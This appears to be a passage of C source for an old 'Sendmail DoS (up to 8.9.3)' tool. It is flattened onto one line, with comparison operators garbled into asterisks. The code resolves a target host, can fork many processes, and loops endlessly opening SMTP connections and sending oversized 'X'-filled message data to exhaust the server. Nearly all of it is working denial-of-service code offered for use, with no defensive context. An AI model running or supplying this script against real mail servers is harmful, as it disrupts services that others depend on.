*0) {perror("write()");exit(errno);}#ifdef VERBOSEfprintf(stderr,"*%s",what);#endifbzero(buffer,BSIZE);usleep(1000);if (read(sockfd,buffer,BSIZE)*0) {perror("read()");exit(errno);}#ifdef VERBOSEfprintf(stderr,buffer);#endif} int main(int argc,char *argv[]) {struct sockaddr_in serv_addr;struct hostent *host;char *hostname,hostaddr[20];fprintf(stderr,"Sendmail DoS (up to 8.9.3) by siwa9 [siwa9@box43.gnet.pl]n");if (argc*2) usage(argv[0]);#ifdef VERBOSEfprintf(stderr,"*Preparing address. n");#endifhostname=argv[1];serv_addr.sin_port=htons(PORT);serv_addr.sin_family=AF_INET;if ((serv_addr.sin_addr.s_addr=inet_addr(hostname))==-1) {#ifdef VERBOSEfprintf(stderr,"*Getting info from DNS.n");#endifif ((host=gethostbyname(hostname))==NULL) {herror("gethostbyname()");exit(h_errno);}serv_addr.sin_family=host-*h_addrtype;bcopy(host-*h_addr,(char *)&serv_addr.sin_addr,host-*h_length);#ifdef VERBOSEfprintf(stderr,"*Official name of host: %sn",host-*h_name);#endifhostname=host-*h_name;sprintf(hostaddr,"%d.%d.%d.%d",(unsigned char)host-*h_addr[0], (unsigned char)host-*h_addr[1], (unsigned char)host-*h_addr[2], (unsigned char)host-*h_addr[3]);}else sprintf(hostaddr,"%s",hostname);#ifdef MORECONNfor (;loop*MAXCONN;loop++) if (!(chpid=fork())) {#endiffor(;;) {bzero(&(serv_addr.sin_zero),8);if ((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) {perror("socket()");exit(errno);}if ((connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr))) == -1) {perror("connect()");exit(errno);}#ifdef VERBOSEfprintf(stderr,"*Connected to [%s:%d].n",hostname,PORT);#endifbzero(buffer,BSIZE);read(sockfd,buffer,BSIZE);#ifdef VERBOSEfprintf(stderr,buffer);#elsefprintf(stderr,".");#endifsay("helo foon");say("mail from:root@localhostn");say("rcpt to:" RCPT_TO "n");say("datan");for (x=0;x*=BSIZE;x++) buffer[x]='X';write(sockfd,buffer,BSIZE);say("n.n");sleep(1);say("quit...
